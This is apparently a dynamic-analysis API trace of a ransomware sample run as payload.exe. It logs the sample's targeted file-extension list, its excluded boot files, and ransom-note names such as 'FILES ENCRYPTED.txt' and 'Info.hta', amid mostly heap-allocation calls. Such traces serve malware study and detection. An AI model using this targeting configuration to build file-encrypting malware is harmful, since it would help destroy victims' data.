lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0037.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e7720 | out: hHeap=0x690000) returned 1 [0037.166] lstrlenW (lpString="") returned 0 [0037.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fade0 | out: hHeap=0x690000) returned 1 [0037.166] lstrlenW (lpString=".btix") returned 5 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d32c0, Size=0x8) returned 0x6d3380 [0037.166] lstrlenW (lpString=".btix") returned 5 [0037.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fadf8 | out: hHeap=0x690000) returned 1 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faf18, Size=0x20) returned 0x6ceac0 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ceac0, Size=0x40) returned 0x6aa030 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa030, Size=0x80) returned 0x6d4518 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d32c0, Size=0x8) returned 0x6d33a0 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d33a0, Size=0x10) returned 0x6faf18 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faf18, Size=0x20) returned 0x6ce9d0 [0037.166] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0037.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4518 | out: hHeap=0x690000) returned 1 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faf18, Size=0x20) returned 0x6ce8e0 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce8e0, Size=0x40) returned 0x6aa618 [0037.166] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.166] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0037.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6aa618 | out: hHeap=0x690000) returned 1 [0037.166] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fae10, Size=0x20) returned 0x6ce868 [0037.166] lstrlenW (lpString="Info.hta") returned 8 [0037.166] lstrlenW (lpString="Info.hta") returned 8 [0037.167] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce868 | out: hHeap=0x690000) returned 1 [0037.167] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6faf58, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\payload.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\payload.exe")) returned 0x23 [0037.167] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6faf58 | out: hHeap=0x690000) returned 1 [0037.167] lstrlenW (lpString="payload.exe") returned 11 [0037.167] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce9d0, Size=0x40) returned 0x6aa348 [0037.167] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fae58, Size=0x20) returned 0x6ceac0 [0037.168] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fae40, Size=0x20) returned 0x6ce7c8 [0037.168] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce7c8, Size=0x40) returned 0x6a9fe8 [0037.168] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a9fe8, Size=0x80) returned 0x6d41e8 [0037.168] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d41e8, Size=0x100) returned 0x6d5fd0 [0037.168] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0037.168] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5fd0 | out: hHeap=0x690000) returned 1 [0037.168] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x6faf58, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0037.168] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x70af60 | out: hHeap=0x690000) returned 1 [0037.168] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6faf58 | out: hHeap=0x690000) returned 1 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d34e0, Size=0x8) returned 0x6d33c0 [0037.169] lstrlenW (lpString="%windir%;") returned 9 [0037.169] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ceac0 | out: hHeap=0x690000) returned 1 [0037.169] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0037.169] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e8728 | out: hHeap=0x690000) returned 1 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faf18, Size=0x20) returned 0x6ce958 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ce958, Size=0x40) returned 0x6a9fe8 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a9fe8, Size=0x80) returned 0x6d4a68 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4a68, Size=0x100) returned 0x6d5fd0 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3420, Size=0x8) returned 0x6d3410 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3410, Size=0x10) returned 0x6faf18 [0037.169] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faf18, Size=0x20) returned 0x6ce908 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3480, Size=0x8) returned 0x6d3530 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3460, Size=0x8) returned 0x6d33f0 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3430, Size=0x8) returned 0x6d34c0 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d34c0, Size=0x10) returned 0x6fa7b0 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fa7b0, Size=0x20) returned 0x6ceac0 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3530, Size=0x10) returned 0x6fa888 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d33f0, Size=0x10) returned 0x6fa8b8 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3450, Size=0x8) returned 0x6d3430 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d33d0, Size=0x8) returned 0x6d34a0 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fa888, Size=0x20) returned 0x6ce9d0 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fa8b8, Size=0x20) returned 0x6ce980 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d3450, Size=0x8) returned 0x6d3490 [0037.170] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0037.170] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5fd0 | out: hHeap=0x690000) returned 1 [0037.170] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faa38, Size=0x20) returned 0x6ce8e0 [0037.170] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6e7720, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0037.170] lstrlenW (lpString="C:\\") returned 3 [0037.170] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0037.170] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e7720 | out: hHeap=0x690000) returned 1 [0037.171] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d34b0, Size=0x82) returned 0x6d6060 [0037.171] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d34f0, Size=0x100) returned 0x6d60f0 [0037.171] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d6060, Size=0x104) returned 0x6d6318 [0037.171] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d60f0, Size=0x200) returned 0x6e7720 [0037.172] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d34c0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6e7720 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa8a0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4af0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa7b0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4c88 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa9a8 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6318 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa840 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d61f8 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa8b8 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d6288 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa960 | out: hHeap=0x690000) returned 1 [0037.173] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fa978, Size=0x20) returned 0x6cec78 [0037.173] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cec78, Size=0x40) returned 0x6aa420 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d34d0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa798 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d5fd0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa810 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4518 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa888 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d34e0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6fa828 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a61c8 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a56f0 | out: hHeap=0x690000) returned 1 [0037.173] lstrlenW (lpString="%systemdrive%") returned 13 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce8e0 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d4a68 | out: hHeap=0x690000) returned 1 [0037.173] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6d3540 | out: hHeap=0x690000) returned 1 [0037.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x6d7700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0037.174] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10014) returned 0x6faf58 [0037.174] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6fa798 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6fa798, Size=0x20) returned 0x6ceae8 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ceae8, Size=0x40) returned 0x6aa2b8 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa2b8, Size=0x80) returned 0x6d4490 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4490, Size=0x100) returned 0x6d5fd0 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x200) returned 0x6d5fd0 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x400) returned 0x6d5fd0 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x800) returned 0x6e9728 [0037.174] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6e9728, Size=0x1000) returned 0x6e9728 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x70af78 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6fa888 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6fa828 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6d34b0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x6fa810 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x4) returned 0x6d3450 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa840 [0037.175] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d34b0, Size=0x8) returned 0x6d33e0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6faa20 [0037.175] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d33e0, Size=0x10) returned 0x6faa38 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa798 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6faa08 [0037.175] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6faa38, Size=0x20) returned 0x6cebd8 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa858 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3410 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6fa8a0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6fa9c0 [0037.175] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6cebd8, Size=0x40) returned 0x6aa1e0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6fa8d0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6faa38 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6fa8b8 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x6fa978 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa8e8 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa960 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3540 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa9a8 [0037.175] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6aa1e0, Size=0x80) returned 0x6d4ea8 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa9f0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x6fa9d8 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b1e8 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b170 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b200 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b110 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b050 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d33a0 [0037.175] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b290 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b188 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b1a0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b278 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b098 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b1b8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b260 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b080 [0037.176] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d4ea8, Size=0x100) returned 0x6d5fd0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71aff0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b1d0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b2a8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71b248 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71afc0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b128 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d34f0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b140 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b218 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b158 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x6d34e0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b0e0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b008 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d33b0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b230 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71afd8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b020 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b038 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b0b0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b068 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xe) returned 0x71b0c8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b0f8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x71b308 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b380 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b428 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b3c8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b530 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d34b0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b5a8 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b4d0 [0037.176] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b338 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b488 [0037.177] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6d5fd0, Size=0x200) returned 0x6d5fd0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b548 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d34d0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b560 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b398 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b3f8 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b440 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b4e8 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b458 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b368 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b4a0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b3b0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b3e0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b410 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b470 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b350 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b500 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b4b8 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b2c0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b518 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b590 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b578 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b2d8 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b2f0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d33e0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b320 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b770 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b830 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x8) returned 0x6d3500 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b7a0 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xc) returned 0x71b650 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b878 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b848 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b7b8 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b680 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b638 [0037.177] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xa) returned 0x71b620 